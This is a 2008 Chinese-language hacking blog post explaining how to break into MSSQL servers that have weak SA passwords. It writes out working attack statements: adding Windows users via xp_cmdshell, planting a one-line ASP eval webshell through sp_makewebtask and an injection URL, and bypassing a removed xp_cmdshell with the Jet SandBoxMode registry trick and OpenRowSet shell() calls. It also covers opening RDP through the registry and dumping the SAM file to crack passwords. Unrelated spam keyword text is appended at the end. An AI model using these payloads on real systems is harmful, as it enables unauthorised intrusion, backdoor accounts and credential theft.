• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Ay's Blog@CNSSUESTC

            關于1433弱口令的利用-- by __ay

            ????? 這篇文章是面對大部分人的,所以對某些水平的人來說難免會有許多廢話,你們可以跳過,呵呵~好了,開始吧……啊~我肚子餓了~呵呵

            ????? 首先講下什么是1433弱口令漏洞,所謂弱口令就是指很簡單的一些密碼隨便猜就能猜出來的,比如說密碼是123,123456,admin甚至用戶名密碼 相同等等之類的狀況,我們就能輕易獲得對方的密碼。呵呵,許多人都很懶,所以密碼都很簡單,包括我也是,呵呵……(而且還經常那123當臨時密碼)。在說 下什么是1433弱口令,1433所指的是1個服務端口,什么服務呢?那就是傳說中的MSSQL啦,試想MSSQL安裝之初的默認密碼是空,然而又存在許 多懶網管,那么我們只要拿個工具簡單的掃下在檢測下密碼……嘿嘿……可想而之掃到1433弱口令的幾率還是蠻大的~呵呵

            ??? 接下來我們說說拿到SA權限的1433弱口令我們能干什么,大家都知道XP_CMDSHELL這個擴展儲存吧,這個擴展儲存可以看做是MSSQL提供給管 理者執行CMD命令的一個功能模塊,通過這個我們可以執行CMD命令而更可喜的是SA權限的帳戶一般都是以SYSTEM權限啟動的,權限相當于計算機管理 員權限,那么我們相當于可以用CMD命令的形式控制你要入侵的計算機了,當然我們肯定不會滿足于用CMD控制機器,我們的目標是通過3389或者其他的軟 件來達到控制計算機的目的。下面我們來分類討論各種情況下的切入點,僅供參考……

            以下假設你拿到了SA權限若口令的機器。有專門的SQL查詢分析器可以連接對方.大家有興趣可以去下一個來看看.

            ?

            1.當3389終端開啟的時候,而目標機子也沒做類似IP這樣的過濾,那么我們就直接執行CMD命令加個用戶,然后用加的用戶登上去就OK了~呵呵

            (需要無敵RP啊~~~)

            2.那么如果CMD命令可以執行,但是沒開3389,我們先掃下目標IP,看他有沒有開80端口,有的話90%是有 WEB服務的,那么我們是SA權限直接丟個小馬上去,嘿嘿.........有了馬我們可以上傳東西啦~~傳個開3389的工具上去執行,機器重啟下就可 以登3389了.

            ?

            以下是SA權限下備分小馬的語句;

            exec sp_makewebtask '備分路徑',' select ''一句話木馬'' ';--

            ?

            例子如下

            http:\\xx.x.x.x.asp?id=1;exec sp_makewebtask 'd:\wwwroot\ay.asp',' select ''<%25eval (request('#'))25%>'' ';--

            ?

            ?

            ??????? 其實1433弱口令跟注入非常相似,比如你1433上有WEB服務你也可以用查詢語句把用戶名和密碼找出來進后臺傳馬.思路是非常多的,但是看你怎么使用了.

            ????? MSSQL的功能非常強大,所以幾乎沒有它辦不到的事(擴展儲存沒刪除情況下~而且SA權限沒被降為USERS用戶啟動).但是但是萬一人家把CMD給你 刪除了,恢復也恢復不了的時候又該怎么辦呢?如果我們沒有CMDSHELL,又沒開3389,那么SA權限看起來就象是雞肋~

            ?

            ????? 關于在SQL連接器上查看目錄的方式

            ?

            exec xp_dirtree '(目錄名,比如c:\)',1,1

            ?????

            ????? 執行后就會返回目標機器指定目錄下的文件夾和文件,那么通過這個你就可以列目錄了

            ????? 這個擴展儲存的說明在注入語句集合里面有,這里就略過

            ?

            ?

            ?

            ?

            ?

            exec xp_regread/exec xp_regwrite 注冊表操作的擴展儲存

            ?

            ????? 下面引用啊D注入語句里面的例子

            ?

            寫注冊表
            exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

            ?

            讀注冊表
            exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

            ?

            ?

            ???? 如果CMDSHELL用不了的時候,我們來試著恢復下CMD

            ?

            ??? exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'

            ?

            ??? 然后執行CMD命令,如果還是不行的話,唉~~那沒辦法了,呵呵,一會講到,呵呵~~~繼續往下看吧~

            ?

            ???? 來,我們來提一下傳說中的沙盒模式提權,

            ?

            ?

            不是分割線

            --------------------------------------------------------------------------------------------------------------------------------

            ???? 首先我在<Jet引擎可以調用VBA的shell()函數>(http://support.microsoft.com/kb /q239104/)這份資料知道在accessl里可以直接進行sql查詢,具體的在Access中測試.測試的SQL語句如下:

            SELECT shell('c:\windows\system32\cmd.exe /c net user ray 123 /ad');

            ?

            查看計算機管理的本地用戶,馬上發現多出一個ray用戶,說明語句成功執行了.接下來寫一個VBS腳本任意連接一個mdb來測試這個SQL語句

            Set Conn=Createobject("Adodb.Connection")

            Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"

            Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
            Msgbox Rs(0)


            運行后會出現"表達式中的'Shell'函數未 定義"的錯誤,<Jet引擎可以調用VBA的 shell()函數>提到WINDOWS在Jet引擎中設置了一個名為SandBoxMode的開關,它的注冊表位置在 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,0為在任何所 有者中中都禁止起用安全設置,1為僅在允許的范圍之內,2則是必須是Access的模式下,3則是完全開啟安全設置.默認情況下為2,只能在Access 的模式下調用VBA的shell()函數,我們嘗試將此注冊表值改為0,結果成功的運行了VBS利用Jet引擎可以調用VBA的shell()函數執行了 系統命令.

            通常一臺MSSQL服務器同時支持Access數據庫,所以只要有一個sa或者dbowner的連接,就滿足了修改注冊表的條件,因為MSSQL有一個名為xp_regwrite的擴展,它的作用是修改注冊表的值.語法如下


            exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value


            如果存在一個sa或者dbowner的連接的SQL注入點,就可以構造出如下注入語句


            InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--


            那我們將SandBoxMode開關的注冊表值修改為0就成功 了.接著連接到一個Access數據庫中,就可以執行系統命令,當然執行系統命令我們只需要一個Access數據庫相關Select的注入點或者直接用 ASP文件Select調用這個VBA的 shell()函數,但是實際上MSSQL有一個的OpenRowSet函數,它的作用是打開一個特殊的數據庫或者連接到另一個數據庫之中.當我們有一個 SA權限連接的時候,就可以做到打開Jet引擎連接到一個Access數據庫,同時我們搜索系統文件會發現windows系統目錄下本身就存在兩個 Access數據庫,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\ dnary.mdb,這樣一來我們又可以利用OpenRowSet函數構造出如下注入語句:
            InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user ray 123 /ad")');--


            如果你覺得不大好懂的話,我可以給你做一個簡化的理解:
            1,Access可以調用VBS的函數,以System權限執行任意命令
            2,Access執行這個命令是有條件的,需要一個開關被打開
            3,這個開關在注冊表里
            4,SA是有權限寫注冊表的
            5,用SA寫注冊表的權限打開那個開關
            6,調用Access里的執行命令方法,以system權限執行任意命令

            ??????

            ?

            ------------------------------------------------------------------------------------------

            不是分割線

            ?????

            ????? 看完了吧~辛苦了~呵呵,呵呵,直接把原文貼出來了,我好懶啊我~原理就是上面說的那個

            ????? CMD不是刪除了么?嘿嘿~我們用剛剛講的方法來執行,具體如下

            ?????

            首先執行

            ?

            exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode','REG_DWORD',1

            ?

            ?


            呵呵~把注冊表改了~

            不放心的話我們來讀讀看~

            ?

            exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode'

            ?

            如果返回的值是1的話證明命令成功了

            ?


            那么我們就可以用SYSTEM函數來執行命令了 下面給出執行命令語句

            ?

            select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c query user >c:\windows\11.txt")');

            ?

            紅色字體的是我執行的命令,>c:\windows \11.txt的意思是把回顯命令導入到windows的文件夾下的1.txt,一會要用到的.黑色字體是我們數據庫的路徑,特別需要注意的是如果是 windows2000 那么灰色部分就應該是c:\winnt\system32\ias\ias.mdb?

            如果是windows2003的話就是c:\windows\system32\ias\ias.mdb

            ?

            后邊也是一樣情況 win2003是windows目錄而2000是winnt目錄

            ?

            ?

            ?

            執行命令的時候是不是心里面很沒底呢?而且有些命令比如NETSTAT之類的是需要查看回顯的,那么怎么才能得到回顯呢~~~嘿嘿~~無疑MSSQL肯定為我們提供了讀取文件內容的功能操作

            那么我們就來看看怎么操作的吧~~呵呵

            操作如下
            select * from openrowset('microsoft.jet.oledb.4.0','text;database=c:\windows\','select * from 11.txt')

            ?

            灰色部分是文件所在目錄,而紅色是文件名

            ?

            比如我想讀D:\WWW\XXX\目錄下的A.ASP文件,那么語句如下

            ?

            select * from openrowset('microsoft.jet.oledb.4.0','text;database=D:\WWW\XXX\','select * from A.ASP')

            ?

            還記得我剛剛把命令回顯導出的步驟嗎?我們就用上面這個操作來讀取TXT內容就可以得到我們的CMD執行命令回顯了,很好玩吧~呵呵??

            ?

            這就是我饒過CMDSHELL來執行命令的一點心得,呵呵? 我們接下來說說3389的問題

            ?

            一些關于3389終端的信息:

            ?

            ????? 其實在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp下的PortNumber鍵值 和

            ????? HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp下的PortNumber鍵值

            記錄著3389的端口號 如果想改連接端口號的話直接用xp_regwrite修改對應的鍵值就OK了~呵呵

            ?

            ????? 那么接下來說說最關鍵的問題,在注冊表下存在一個決定3389開啟與否的鍵值,鍵值位置如下:

            HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server下的fDenyTSConnections

            ?

            其值是0表示開啟 1表示關閉,我們直接用XP_REGWRITE把值修改就好了~~

            ?

            ?

            語句如下

            ?

            exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0

            ?

            你們不放心可以用XP_REGREAD確認

            具體語句不寫了,大家現學現賣吧,呵呵~~

            ?

            好了,最后說過我沒實踐過的思路,理論上可行吧,呵呵

            ?

            當你的沙盒模式也不能用的時候那么,嘿嘿?? ^-^

            我們起碼還是能從目標機器上拿點什么東西的嘛,比如說SAM啊~呵呵

            ?

            首先用OPENROWSET這個函數把SAM的內容暴出來

            然后復制內容,本地新建個SAM把復制的內容導進去,保存,相當與把目標機子的SAM給下下來,然后暴吧~~把管理員的密碼暴出來,接著用XP_REGWRITE把3389端口開了就好了

            ?

            ?

            其實開3389的時候還會遇到很多情況,由于我沒實踐,所以沒什么好說的了,如果大家以后遇到什么這方面的問題可以拿來一起討論,嘿嘿

            ?

            至于怎么破SAM,OPENROWSET的函數用法之類的就不說了~去百度一下吧~~

            ?

            posted on 2008-12-07 16:15 __ay 閱讀(2497) 評論(0)  編輯 收藏 引用 所屬分類: Security

            久久精品国产一区| 国产精品伊人久久伊人电影 | 国产亚洲精久久久久久无码| 中文成人久久久久影院免费观看 | 99久久香蕉国产线看观香| 欧美日韩精品久久久久| 午夜精品久久久久| 久久中文字幕人妻熟av女| 精品久久亚洲中文无码| 精品国产VA久久久久久久冰 | 日韩AV无码久久一区二区 | 国产无套内射久久久国产| 久久强奷乱码老熟女| 久久精品中文字幕一区| 国产精品一久久香蕉国产线看| 久久AV高清无码| 久久精品国产一区二区电影| 久久婷婷午色综合夜啪| 精品久久无码中文字幕| 久久久免费观成人影院| 国产成人久久精品一区二区三区 | 国产精品久久久久a影院| 欧洲成人午夜精品无码区久久| 久久综合久久久| 久久成人国产精品免费软件| 久久精品草草草| 亚洲人成伊人成综合网久久久| 成人午夜精品久久久久久久小说| 久久久www免费人成精品| 国产精品伊人久久伊人电影| 婷婷综合久久中文字幕蜜桃三电影 | 久久精品国产一区二区三区| MM131亚洲国产美女久久| 国产激情久久久久久熟女老人| 国产亚州精品女人久久久久久 | 中文字幕无码精品亚洲资源网久久| 狠狠色丁香久久综合婷婷| 亚洲av成人无码久久精品| 久久噜噜久久久精品66| 狠狠精品久久久无码中文字幕 | 少妇久久久久久久久久|